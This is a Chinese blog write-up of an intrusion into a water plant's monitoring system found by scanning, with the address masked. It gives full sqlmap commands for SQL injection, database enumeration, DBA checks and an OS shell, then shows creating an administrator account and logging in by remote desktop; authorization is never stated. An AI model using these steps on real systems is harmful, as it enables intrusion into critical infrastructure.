about 1 results (0.02 seconds)

记一次对内蒙古某市某水厂监控系统的渗透测试过程

by LauCyun Sep 29,2018 15:52:45 23,713 views

最近,在协助内蒙某院收集内蒙全境的工控设备信息,在一次收集的时候,发现某市某水厂的监控系统存在弱口令问题,从而展开本次的渗透测试工作。

本文将介绍如何利用SQL注入点拿到服务器的Shell,然后通过远程桌面远程进入服务器的渗透过程。

0x0 背景

目标:http://*.*.*.*:8080(防止被他人利用,打上万恶的马赛克Face with Stuck-Out Tongue and Closed EyesFace with Hand over Mouth

通过程序自动挖掘发现http://*.*.*.*:8080存在弱口令,如图1所示:


图1 登录界面

用户名是admin,密码也是admin

进入系统后,可以直观的看到该水厂的水源井、水厂的工作现场运行状态,如图2、图3所示:


图2 水源井的模拟现场


图3 水厂的模拟现场

也可以看到仪表、GPRS、PLC等设备信息及通讯通道信息。。。如图4所示:


图4 通讯通道信息

好了,开始我们的正题吧,随便点击就发现一个疑似SQL注入点,如下所示:

http://*.*.*.*:8080/map/mapshow1.aspx?id=1

0x1 验证SQL注入点

接着,使用SQLMap对疑似注入点进行测试,输入如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd"


图5 SQL注入点

测试完毕后,如图5所示,SQLMap提示GET中的id参数存在注入,并且有4种注入方式,分别是基于布尔的盲注(boolean-based blind)、基于报错注入(error-based)、堆查询注入(stacked queries)和联合查询注入(UNION query)。

同时也得知以下信息:

数据库版本:Microsoft SQL Server 2008

中间件版本:Microsoft IIS 7.5

服务器版本:Windows 2008 R2 or 7

生产环境:ASP.NET, ASP.NET 2.0.50727

0x2 列举数据库

如图5所示,SQLMap验证了该SQL注入点确实存在,那么我们先列出所有的数据库,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" --dbs

如图6所示,共有7个数据库,其中mastermodeltempdbmsdb是SQL Server的默认数据库。


图6 有效的数据库

通过--current-db也确认了数据库TSLL2016是我们感兴趣的点。。。

接着,需要知道数据库TSLL2016中都有哪些表,为了弄清这些信息,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --tables

发现这个数据库有43张表,如图7所示:


图7 数据库表

显而易见,有用的地方主要在表S_User中,这张表中可能包含着数据库的用户名和密码之类的信息。。。

但是,读取数据库TSLL2016中表S_User的数据后,并没啥用SkullSkullSkull

0x3 Get Shell

首先,确定一下当前用户是否是DBA权限,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --is-dba

Victory HandHundred Points当前用户是DBA权限,运行结果如图8所示:


图8 判断是否为DBA

接下来,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --os-shell

如图9所示:


图9 运行os-shell

本来想往服务器写入shell,但是写入失败了。。。

接着,尝试着新建用户,如图10所示:


图10 新建用户并提权

哈哈哈。。。说明该数据库运行的权限非常大啊。。。连创建用户和提权至administrators权限都一气呵成Cat Face with Tears of JoyCat Face with Tears of JoyCat Face with Tears of Joy

接着,查询远程桌面服务是否开启,结果它已开启。

如果未开启可参考:实现Windows系统(非服务器版)多用户登录远程桌面的方案

通过nmap也可验证,3389端口是否可达,如图11所示:


图11 开放端口情况

然后通过远程桌面,连接到服务器上,如图12所示:


图12 远程桌面

擦,难怪写入shell失败啊,原来是装了电脑管家啊Broken HeartBroken HeartBroken Heart

好吧,渗透就到这为止吧,写我的渗透报告去了,同时祝大家国庆节快乐Red HeartRed HeartRed Heart

下回再见,拜拜Waving HandWaving HandWaving Hand

0x4 参考

...

Tags Read More..